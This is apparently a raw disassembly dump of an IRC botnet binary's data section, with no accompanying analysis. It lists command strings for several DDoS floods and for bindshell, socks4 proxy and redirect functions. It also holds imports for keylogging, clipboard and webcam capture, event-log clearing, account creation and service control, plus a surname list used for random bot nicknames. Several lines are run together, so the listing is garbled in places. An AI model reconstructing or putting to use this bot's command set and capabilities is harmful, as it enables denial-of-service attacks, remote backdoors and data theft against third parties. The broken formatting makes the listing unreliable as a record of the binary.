dword_433070	dd 234032Dh, 6E6F6C63h,	3027365h, 2DhaClone		db 'Clone',0            ; DATA XREF: seg000:00402FB4o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: seg000:00402F9Bo
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: seg000:00402F86o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: seg000:00402F71o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: seg000:00402F5Co
		align 10h
aFindfilestop	db 'findfilestop',0     ; DATA XREF: seg000:00402F47o
		align 10h
dword_4330C0	dd 234032Dh, 70746674h,	2D030264h, 0aTftpstop	db 'tftpstop',0         ; DATA XREF: seg000:00402F1Eo
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: seg000:00402EF5o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: seg000:00402ECCo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: seg000:00402EA3o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: seg000:00402E7Ao
unk_433108	db  2Dh	; -		; DATA XREF: seg000:00402E60o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_43313C	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh					; seg000:00402EC1o
dword_43314C	dd 64736957h, 61206D6Fh, 63617474h, 6Bh					; seg000:00402EBCo
dword_43315C	dd 234032Dh, 6E757374h,	2696D61h, 2D03h					; seg000:00402E98o
dword_43316C	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h					; seg000:00402E93o
dword_43317C	dd 234032Dh, 676E6970h,	2D0302h					; seg000:00402F13o
dword_433188	dd 676E6950h, 6F6C6620h, 646Fh					; seg000:00402F0Eo
dword_433194	dd 234032Dh, 2706475h, 2D03h					; seg000:00402EEAo
dword_4331A0	dd 20504455h, 6F6F6C66h, 64h					; seg000:00402EE5o
aPacketstop	db 'packetstop',0       ; DATA XREF: seg000:00402D24o
		align 4
dword_4331B8	dd 234032Dh, 6B6E6F77h,	2D0302h					; seg000:00402DE6o
dword_4331C4	dd 6B6E6F57h, 6F6C6620h, 646Fh					; seg000:00402DE1o
aWonkstop	db 'wonkstop',0         ; DATA XREF: seg000:00402CFBo
		align 4
dword_4331DC	dd 234032Dh, 67726174h,	3023361h, 2Dh					; seg000:00402DC8o
dword_4331EC	dd 67726154h, 66203361h, 646F6F6Ch, 0					; seg000:00402DC3o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: seg000:00402CD2o
		align 4
dword_433208	dd 234032Dh, 73796B73h,	3026E79h, 2Dh					; seg000:00402E46o
dword_433218	dd 53796B53h, 66206E79h, 646F6F6Ch, 0					; seg000:00402E41o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: seg000:00402CA9o
		align 4
dword_433234	dd 234032Dh, 26E7973h, 2D03h					; seg000:00402D68o
dword_433240	dd 206E7953h, 6F6F6C66h, 64h					; seg000:00402D63o
aSy1stop	db 'sy1stop',0          ; DATA XREF: seg000:00402C80o
dword_433254	dd 234032Dh, 736F6464h,	2D0302h					; seg000:00402D4Ao
dword_433260	dd 536F4444h, 6F6C6620h, 646Fh					; seg000:00402D45o
dword_43326C	dd 736F6464h, 6F74732Eh, 70hdword_433278	dd 234032Dh, 69646572h,	74636572h, 2D0302hdword_433288	dd 20504354h, 69646572h, 74636572h, 0aRedirectstop	db 'redirectstop',0     ; DATA XREF: seg000:00402C2Eo
		align 4
dword_4332A8	dd 234032Dh, 2676F6Ch, 2D03hdword_4332B4	dd 20676F4Ch, 7473696Ch, 0aLogstop	db 'logstop',0          ; DATA XREF: seg000:00402C05o
dword_4332C8	dd 234032Dh, 70747468h,	2D030264h, 0aHttpstop	db 'httpstop',0         ; DATA XREF: seg000:00402BDCo
		align 4
dword_4332E4	dd 234032Dh, 676F6C72h,	2646E69h, 2D03haRloginstop	db 'rloginstop',0       ; DATA XREF: seg000:00402BB3o
		align 10h
dword_433300	dd 234032Dh, 6B636F73h,	3023473h, 2DhaSocks4stop	db 'socks4stop',0       ; DATA XREF: seg000:00402B8Do
		align 4
aS4		db 's4',0               ; DATA XREF: seg000:00402B78o
		align 10h
aSocks4		db 'socks4',0           ; DATA XREF: seg000:00402B63o
		align 4
dword_433328	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: seg000:00402B41o
aServer_0	db 'Server',0           ; DATA XREF: seg000:00402B3Co
					; seg000:00402BA6o ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: seg000:00402B23o
		align 4
aBd		db 'bd',0               ; DATA XREF: seg000:00402B0Eo
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: seg000:00402AF9o
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: seg000:00402AE4o
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: seg000:00402ACFo
		align 4
aSec		db 'sec',0              ; DATA XREF: seg000:00402ABAo
					; seg000:00404860o
aSecure		db 'secure',0           ; DATA XREF: seg000:00402AA5o
					; seg000:0040484Fo
		align 4
aSt		db 'st',0               ; DATA XREF: seg000:00402A90o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: seg000:00402A7Bo
		align 4
aDed		db 'ded',0              ; DATA XREF: seg000:00402A66o
aDedication	db 'dedication',0       ; DATA XREF: seg000:00402A51o
		align 4
aVer		db 'ver',0              ; DATA XREF: seg000:00402A3Co
aVersion	db 'version',0          ; DATA XREF: seg000:00402A27o
aLo		db 'lo',0               ; DATA XREF: seg000:00402A12o
		align 4
aDie		db 'die',0              ; DATA XREF: seg000:004029D3o
aRn		db 'rn',0               ; DATA XREF: seg000:004029BEo
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: seg000:004029A6o
a63		db '63',0               ; DATA XREF: seg000:00402873o
		align 4
asc_4333C8:				; DATA XREF: seg000:0040284Bo
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: seg000:0040280Eo
		align 4
aServer_2	db '$server',0          ; DATA XREF: seg000:00402803o
aRndnick_0	db '$rndnick',0         ; DATA XREF: seg000:004027F2o
		align 4
aChan		db '$chan',0            ; DATA XREF: seg000:004027D6o
		align 10h
aUser_2		db '$user',0            ; DATA XREF: seg000:004027C5o
		align 4
aMe		db '$me',0              ; DATA XREF: seg000:004027B3o
aD_0		db '$%d',0              ; DATA XREF: seg000:00402745o
aD_1		db '$%d-',0             ; DATA XREF: seg000:00402681o
		align 4
aHi_0		db 'hi',0               ; DATA XREF: seg000:004025A9o
		align 4
unk_43340C	db  2Dh	; -		; DATA XREF: seg000:0040256Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 10h
unk_433440	db  2Dh	; -		; DATA XREF: seg000:0040255Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 10h
unk_433470	db  2Dh	; -		; DATA XREF: seg000:0040254Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_30	db '- Failed to start chat thread, error: <%d>.',0
		align 4
unk_4334A8	db  2Dh	; -		; DATA XREF: seg000:004024DDo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: seg000:00402449o
		align 10h
unk_4334D0	db  2Dh	; -		; DATA XREF: seg000:0040242Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
dword_433514	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: seg000:00402411o
		dd 0A0Dh
dword_43352C	dd 4E495001h, 47hdword_433534	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: seg000:004023D2o
		dd 0D017325h, 0Ah
dword_433550	dd 52455601h, 4E4F4953h, 1unk_43355C	db  2Dh	; -		; DATA XREF: seg000:00402287o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_2		db '%s',0               ; DATA XREF: seg000:0040220Eo
					; seg000:00402486o ...
		align 10h
aSend_0		db 'SEND',0             ; DATA XREF: seg000:004021E7o
		align 4
dword_433598	dd 43434401h, 0	dword_4335A0	dd 323333h						; seg000:004025CBo ...
aNotice		db 'NOTICE',0           ; DATA XREF: seg000:00402131o
					; sub_4099D2+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: seg000:00402125o
					; sub_4099D2+16o
unk_4335B4	db  2Dh	; -		; DATA XREF: seg000:004020D1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 4
unk_4335D8	db  2Dh	; -		; DATA XREF: seg000:004020B0o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
a353		db '353',0              ; DATA XREF: seg000:0040207Fo
aQuit		db 'QUIT',0             ; DATA XREF: seg000:0040203Do
					; sub_40F168+5C3o
		align 4
aPart		db 'PART',0             ; DATA XREF: seg000:0040202Co
					; seg000:004020F1o
		align 4
aSS		db ':%s%s',0            ; DATA XREF: seg000:00402004o
		align 4
aNick		db 'NICK',0             ; DATA XREF: seg000:00401EF7o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: seg000:00401EB8o
					; seg000:00402115o
unk_43362C	db  2Dh	; -		; DATA XREF: seg000:00401E9Fo
					; seg000:004049B3o ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
aKick		db 'KICK',0             ; DATA XREF: seg000:00401E38o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: seg000:00401E02o
					; seg000:004096CBo ...
		align 10h
a433		db '433',0              ; DATA XREF: seg000:00401DDAo
					; sub_417DCC:loc_417E43o
a302		db '302',0              ; DATA XREF: seg000:00401D9Fo
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:00401D5Co
					; seg000:00408B09o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: seg000:00401D3Bo
		align 4
aPing		db 'PING',0             ; DATA XREF: seg000:00401D2Ao
					; sub_417DCC+50o
		align 4
asc_43368C:				; DATA XREF: seg000:00401C1Co
					; seg000:0040294Bo ...
		unicode	0, < >,0
asc_433690	db ' :',0               ; DATA XREF: seg000:00401BFAo
					; seg000:loc_402623o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4099D2+58o
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409A6D+C7Fo
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409A6D+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409A6D:loc_40A6D7o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409A6D+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409A6D+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409A6D+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409A6D+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409A6D+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409A6D+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409A6D:loc_40A639o
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409A6D+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409A6D+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409A6D:loc_40A5EFo
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409A6D+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409A6D+B30o
		align 10h
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409A6D+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409A6D+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409A6D:loc_40A57Bo
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409A6D+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409A6D+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409A6D:loc_40A531o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409A6D+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409A6D+A87o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409A6D:loc_40A4E7o
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409A6D+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409A6D+9ECo
					; sub_418E3D+65o
		align 10h
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409A6D+9DFo
		align 10h
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409A6D+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409A6D+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409A6D+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409A6D+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409A6D+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409A6D+991o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409A6D+984o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409A6D+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409A6D+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409A6D:loc_40A3CBo
					; sub_418E3D+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409A6D+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409A6D+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409A6D+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409A6D:loc_40A36Co
		align 10h
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409A6D+8D2o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409A6D+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409A6D+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409A6D+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409A6D+839o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409A6D+82Co
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409A6D+81Fo
		align 10h
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409A6D+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409A6D+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409A6D+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409A6D+7F0o
		align 10h
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409A6D:loc_40A24Co
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409A6D+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409A6D+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409A6D+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409A6D+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409A6D+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409A6D+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409A6D+658o
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409A6D+63Eo
		align 10h
aSelect		db 'select',0           ; DATA XREF: sub_409A6D+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409A6D+629o
		align 10h
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409A6D+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409A6D+60Ao
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409A6D+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409A6D+5E3o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409A6D+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409A6D+5C9o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_409A6D+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409A6D+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409A6D+5A2o
		align 4
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409A6D+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409A6D+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409A6D+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409A6D+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409A6D+554o
		align 10h
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409A6D+547o
		align 10h
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409A6D+53Ao
		align 10h
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409A6D+52Do
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409A6D+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409A6D+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409A6D+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409A6D+494o
		align 10h
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409A6D+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409A6D+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409A6D+46Do
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409A6D+460o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409A6D+453o
		align 10h
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409A6D+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409A6D+43Eo
		align 10h
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409A6D:loc_409E9Ao
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409A6D:loc_409E72o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409A6D+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409A6D+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409A6D+393o
		align 10h
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409A6D+386o
		align 10h
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409A6D+379o
		align 10h
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409A6D+36Co
		align 10h
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409A6D+35Fo
		align 10h
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409A6D:loc_409DC4o
		align 10h
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409A6D+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409A6D+31Ao
		align 10h
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409A6D:loc_409D7Fo
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409A6D+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409A6D+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409A6D+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409A6D+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409A6D+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409A6D+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409A6D+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409A6D+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409A6D:loc_409CCCo
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409A6D+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409A6D+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409A6D+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409A6D:loc_409C65o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409A6D+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409A6D+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409A6D+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409A6D+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409A6D+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409A6D+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409A6D+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409A6D+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409A6D:loc_409BA2o
					; seg000:00424CBAo
		align 10h
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409A6D:loc_409B75o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409A6D+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409A6D+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409A6D+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409A6D+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409A6D+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409A6D+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409A6D+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409A6D+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409A6D+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409A6D+2Bo
		align 10h
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409A6D+23o
		align 10h
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409A6D+Ao
		align 10h
unk_433F80	db  2Dh	; -		; DATA XREF: sub_40A729+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 10h
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+264o
		align 10h
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A729+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A729+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A729+160o
		align 10h
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A729+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+28o
		align 4
a_:					; DATA XREF: seg000:0040DBE5o
					; sub_41011E+24Do
		unicode	0, <.>,0
unk_434110	db  2Dh	; -		; DATA XREF: sub_40AA8C:loc_40AB4Bo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 10h
unk_434140	db  2Dh	; -		; DATA XREF: sub_40AA8C:loc_40AB19o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 10h
unk_434170	db  2Dh	; -		; DATA XREF: sub_40AA8C:loc_40AAE5o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_434194	db  2Dh	; -		; DATA XREF: sub_40AA8C+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AB6A+46o
					; sub_40BEFB+38o
		align 10h
aReal		db 'real',0
		align 4
		dd 0
dword_4341DC	dd 0		off_4341E0	dd offset sub_40AC10	; DATA XREF: sub_40AFA5+49r
aConst		db 'const',0
		align 10h
		dd 1, 40AC7Ch, 7474656Ch, 7265h, 0
		dd 2, 40ACDAh, 706D6F63h, 2 dup(0)
		dd 3, 40AD27h, 6E756F63h, 797274h, 0
		dd 4, 40ADC5h, 736Fh, 2	dup(0)
		dd 5, 40AE3Ah
off_434248	dd offset aAbdulrazak	; DATA XREF: sub_40AC10+20r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_434254	dd offset aAddison	; DATA XREF: sub_40AFA5+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison_0	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
